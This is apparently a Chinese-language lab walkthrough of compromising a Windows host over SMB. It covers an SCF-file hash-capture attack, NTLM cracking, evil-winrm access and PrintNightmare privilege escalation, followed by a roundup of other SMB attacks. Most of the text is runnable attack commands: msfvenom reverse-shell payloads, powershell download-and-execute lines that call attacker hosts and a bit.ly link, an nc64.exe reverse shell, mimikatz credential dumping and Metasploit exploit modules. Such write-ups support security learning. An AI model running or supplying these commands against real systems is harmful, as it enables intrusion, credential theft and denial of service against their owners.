前言
本次滲透以SMB共享之SCF檔案攻擊為突破點,利用burp編碼爆破Basic Authorization認證、smb連接的多種方法、windows用戶的NTLM值破解方法、evil-winrm的運用、windows主機資訊收集工具、msf運行powershell腳本、遠程運行powershell腳本、PrintNightmare漏洞提權等多個知識點,
本次滲透程序從技術層面來說難度并不算很大,本文精華在于滲透程序中運用到了多個知識點,并對多種利用SMB攻擊的方法作了總結,下面開始此次滲透實戰之旅,
資訊收集
首先進行基本的埠掃描;

看到445埠,想到了smb的多種利用方法;看到5985,想到了可能要利用evil-winrm;然后在重點照顧下445埠;
nmap -A --script smb-vuln* -p 445 10.10.11.106

并沒有發現直接的突破口,那我們還是從web入手,
smb匿名登錄
嘗試一波smb匿名登錄,看是否存在共享檔案,可以作為突破的線索;
常用命令總結如下:
smbmap -H 10.10.11.106
smbclient -N -L //10.10.11.106
enum4linux -a 10.10.11.106

暫時沒有發現,
為了感謝廣大讀者伙伴的支持,準備了以下福利給到大家:
【一>所有資源獲取<一】
1、200多本網路安全系列電子書(該有的都有了)
2、全套工具包(最全中文版,想用哪個用哪個)
3、100份src原始碼技術檔案(專案學習不停,實踐得真知)
4、網路安全基礎入門、Linux、web安全、攻防方面的視頻(2021最新版)
5、網路安全學習路線(告別不入流的學習)
6、ctf奪旗賽決議(題目決議實戰操作)
burp編碼爆破
打開網頁,彈出Basic Authorization認證

抓包進行爆破;

劃紅線的地方要設定3次,分別為:1、admin 2、: 3、 密碼

用個弱口令字典,跑出結果了;

admin:admin
SMB共享之SCF檔案攻擊
登錄后臺,發現一個可上傳檔案的地方;

經過多次嘗試,這里可利用SCF檔案攻擊進行滲透,下面介紹3種利用方法:
通過 NTLM 捕獲進行 SMB 攻擊
基本原理:SCF(Shell 命令檔案)檔案可用于執行一組有限的操作,一個 SCF 檔案可以用來訪問一個特定的 UNC 路徑,允許滲透測驗人員構建攻擊,下面的代碼可以被放置在一個文本檔案,然后需要被植入到網路共享,
[Shell]Command=2
IconFile=\\10.10.16.4\share\hack.ico
[Taskbar]
Command=ToggleDesktop
將hack.txt檔案保存為SCF檔案,在檔案名前面添加@符號可以將hack.scf放在共享驅動器檔案串列的頂部,(@hack.scf)并設定接收方法;
Responder需要使用以下引數執行來捕獲瀏覽共享的用戶的哈希值,
responder -wrf -I tun0
當用戶瀏覽共享時,將自動會從系統建立網路連接,連接到包含在SCF檔案內的UNC路徑,Windows將嘗試使用用戶名和密碼對該共享進行身份驗證,在驗證程序中,隨機的8位元組質詢密鑰會從服務器發送到客戶端,散列后的NTLM / LANMAN密碼再次使用這個質詢密鑰進行加密,Responder將捕獲NTLMv2哈希,

除了Responder,MSF也有一個模塊,可以用來捕獲來自SMB客戶端的挑戰 – 回應密碼哈希,
auxiliary/server/capture/smb


上傳之前的hack.scf來觸發,就獲取到了用戶的NTLM值,
直接獲取shell
利用MSF框架實作攻擊,
exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.16.4
set smbhost 192.168.0.100
set srvport 8080
exploit

上傳之前的hack.scf來觸發,但本次滲透中該方法實測失敗了,
上傳payload獲取shell
本方法的主要優點是它不需要與用戶有任何互動,并自動強制用戶連接到共享,在這個程序中不存在NTLMv2哈希的協商程序,因此,也可以將此技術與SMB中繼相結合,SMB中繼將提供有效載荷,可以從訪問該共享的每個用戶檢索Meterpreter Shell,
MSFVenom可用于生成將在目標上執行的有效載荷:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.171 LPORT=5555 -f exe > hack.exe
利用Impacket中的smbrelayx 這個python腳本可以設定中繼攻擊并在當目標主機嘗試連接SMB服務器時提供有效載荷,這將自動執行,因為SCF檔案將強制每個用戶使用他們自己的憑據連接到一個不存在的共享,
./smbrelayx.py -h Target-IP -e ./hack.exe
同時利用MSF設定木馬的回連端:
exploit/multi/handler
模塊需要配置與生成的有效載荷相同的引數,
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.171
set LPORT 5555
exploit
當用戶瀏覽共享時,SMB服務器將接收到連接,并且將使用用戶名和密碼散列來與他的系統進行認證,并將有效載荷執行為可寫共享,本次滲透中該方法實測失敗,
獲取到NTLM值后,下一步嘗試破解,
LM NTLM NET-NTLM2破解
Windows的系統密碼hash默認情況下一般由兩部分組成:第一部分是LM Hash,第二部分是NT Hash
LM
Windows Vista / Server 2008已經默認關閉,在老版本可以遇到,但根據windwos的向下兼容性,可以通過組策略啟用它
示例:299BD128C1101FD6
hash破解:
john --format=lm hash.txt
hashcat -m 3000 -a 3 hash.txt
NThash
NTLM是現在Windows系統上存盤密碼的方式,可以通過轉儲SAM資料庫或使用Mimikatz來獲得,
示例:B4B9B02E6F09A9BD760F388B67351E2B
hash破解:
john --format=nt hash.txt
hashcat -m 1000 -a 3 hash.txt
NTLMV1
NTLM協議在服務器和客戶端之間的質詢/回應中使用NTHash,協議的v1同時使用NT和LM哈希,具體取決于配置和可用內容,
示例:
u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c
hash破解:
john --format=netntlm hash.txt
hashcat -m 5500 -a 3 hash.txt
NTLMV2
這是NTLM協議的新版本和改進版本,這使其很難破解,該概念與NTLMv1相同,只是發送到服務器的演算法和回應不同,從Windows 2000開始,在Windows中為默認值,
示例:
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
hash破解:
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
在本次滲透中用的是NTLMV2;
hashcat -m 5600 -a 3 123.txt --wordlist top100.txt

john --format=netntlmv2 123.txt -w=top100.txt

成功得到用戶名和密碼:tony:liltony
根據開放的445和5985埠,連接一波;
嘗試psexec連接失敗;
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-pB7Ofv13-1635337682265)(https://upload-images.jianshu.io/upload_images/26472780-ac960ef4943dcd51.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
evil-winrm -i 10.10.11.106 -u tony -p liltony

連接成功,下面就要開始想辦法進行提權,
smb帶用戶名密碼登錄
利用得到的用戶名和密碼,再次嘗試登錄smb共享;

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-WjhLPGxj-1635337682278)(https://upload-images.jianshu.io/upload_images/26472780-d7ed45ca1d8f9f6a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]



提權
主機資訊收集
嘗試使用命令,結果沒有權限執行;

那就用腳本來跑,常用的是winPEASx64.exe或者winPEAS.bat,這里有個小坑,程式運行時要加反斜杠;


結果很多,最后發現print spooler service 服務;

利用最近的WINDOWS PRINT SPOOLER遠程代碼執行漏洞(CVE-2021-1675)來提權,
https://github.com/calebstewart/CVE-2021-1675
測驗發現直接匯入powershell腳本會報錯;

下面分別采用2種方法;
msf加載powershell
生成個木馬
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.4 LPORT=7777 -f exe > hack.exe
接收反彈;

利用evil-winrm上傳hack.exe,運行;

程式會報錯且會話中斷,遷移下行程,再次嘗試;

需要事先上傳ps1腳本到主機對應的位置,否則找不到腳本;!
這次就成功執行了腳本,添加了一個新的用戶且有administrator權限,還可以嘗試一波遠程運行ps腳本,
遠程運行powershell腳本
遠程下載檔案到本地并執行
cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://127.0.0.1:8089','notepad.exe');start-process notepad.exe
遠程執行ps1腳本
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
自己搭建個http服務器

遠程運行ps腳本;
IEX(New-Object Net.Webclient).downloadstring('http://10.10.16.4:8000/CVE-2021-1675.ps1')
Invoke-Nightmare -NewUser "hack123" -NewPassword "hack123"


抓取密碼試試;
./mimikatz.exe privilege::debug "sekurlsa::logonpasswords" exit

至此,成功拿下了該主機,下面彩蛋環節,總結下其他幾種smb常見的攻擊方法,
smb攻擊方式
Windows SMB 的版本
CIFS:SMB 的舊版本,于 1996 年包含在 Microsoft Windows NT 4.0 中,
SMB 1.0 / SMB1:在 Windows 2000、Windows XP、Windows Server 2003 和 Windows Server 2003 R2 中使用的版本,
SMB 2.0 / SMB2:此版本用于 Windows Vista 和 Windows Server 2008,
SMB 2.1 / SMB2.1:此版本用于 Windows 7 和 Windows Server 2008 R2,
SMB 3.0 / SMB3:此版本用于 Windows 8 和 Windows Server 2012,
SMB 3.02 / SMB3:此版本用于 Windows 8.1 和 Windows Server 2012 R2,
SMB 3.1:此版本用于 Windows Server 2016 和 Windows 10,
目前,SMB 的最新版本是 SMB 3.1.1,它是在 Windows 10 和 Windows Server 2016 中引入的,該版本除了支持 SMB3 中添加的 AES 128 CCM 加密外,還支持 AES 128 GCM 加密,并使用SHA-512 哈希,當連接到使用 SMB 2.x 及更高版本的客戶端時,SMB 3.1.1 還強制要求進行安全協商,
永恒之藍
我們運行以下MSF模塊,該模塊將直接利用目標機器,
use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set rhost 192.168.1.101
msf exploit(ms17_010_eternalblue) > exploit
暴力破解
hydra -L user.txt -P pass.txt 192.168.1.101 smb
-L --> 表示用戶名串列
-P --> 表示密碼
如果破解成功,就可以列舉系統上的用戶;
use auxiliary/scanner/smb/smb_enumusers
msf auxiliary(smb_enumusers) > set rhosts 192.168.1.101
msf auxiliary(smb_enumusers) > set smbuser raj
msf auxiliary(smb_enumusers) > set smbpass 123
msf auxiliary(smb_enumusers) > exploit
實測一下;


PSexec 連接SMB
可以用msf里的模塊;
use exploit/windows/smb/psexec
msf exploit windows/smb/psexec) > set rhost 192.168.1.101
msf exploit(windows/smb/psexec) > set smbuser raj
msf exploit(windows/smb/psexec) > set smbpass 123
msf exploit(windows/smb/psexec) > exploit
因為本次滲透無法成功,補了之前的一張圖;

還可以用Impacket中的psexec.py
#用明文密碼連接
./psexec.py xie/administrator:密碼@192.168.10.131
#用哈希值連接
./psexec.py xie/administrator@192.168.10.131 -hashes AADA8EDA23213C025AE50F5CD5697D9F:6542D35ED5FF6AE5E75B875068C5D3BC
還可以直接用psexec.exe程式;

Rundll32 One-liner
通過Metasploit的SMB Delivery啟動Rundll32攻擊
Metasploit還包含了生成惡意dll檔案的“SMB Delivery”模塊,該模塊通過SMB服務器提供payload,并提供檢索和執行生成payload的命令,目前支持DLL和Powershell,
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109
msf exploit(windows/smb/smb_delivery) > exploit
這將生成惡意 DLL 檔案的鏈接,現在將此鏈接發送到你的目標并等待他的操作,

一旦受害者在運行提示符或命令提示符內運行惡意代碼,我們就會在 Metasploit 上獲得一個 Meterpreter 會話,

SMB DOS 攻擊
SMB Dos 攻擊是我們在 Metasploit 框架中擁有的另一種最優秀的方法,
該模塊利用 Windows 7 和 Windows Server 2008 R2 上的 Microsoft Windows SMB 客戶端中的拒絕服務缺陷,要觸發此錯誤,請將此模塊作為服務運行,并強制易受攻擊的客戶端作為 SMB 服務器訪問此系統的 IP,如果目標使用 Internet Explorer 或 Word 檔案,則可以通過將 UNC 路徑 (\HOST\share\something) 嵌入到網頁中來實作,
use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
msf auxiliary(ms10_006_negotiate_response_loop) > set srvhost 192.168.1.106
msf auxiliary(ms10_006_negotiate_response_loop) > exploit
遠程檔案傳輸和運行
檔案傳輸用法如下:
利用著名的impacket包里的smbserver.py,進行檔案傳輸,
目錄根據你自己定smbserver.py share ‘/root/exp’

然后在監聽的shell里copy CEH.kdbx \10.10.14.57\Share,成功收到檔案

還可以遠程運行程式;
開啟impacket里的smbsever服務,把ms15-051x64和nc64.exe放到我指定的共享檔案,
python smbserver.py Share '/root/htb/bastard'
在shell里執行反彈;
\\10.10.14.57\share\ms15-051x64.exe "\\10.10.14.57\share\nc64.exe -e cmd 10.10.14.57 443"
另外本機監聽443.收到,搞定

總結
對于SCF檔案攻擊,我們也可以通過下列方法來防止這種攻擊的發生:
1、使用Kerbeors認證或SMB簽名;
2、禁用共享檔案給未認證用戶所提供的寫入權限;
3、確保使用的是NTLMv2密碼并增加口令的復雜程度,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/340665.html
標籤:其他
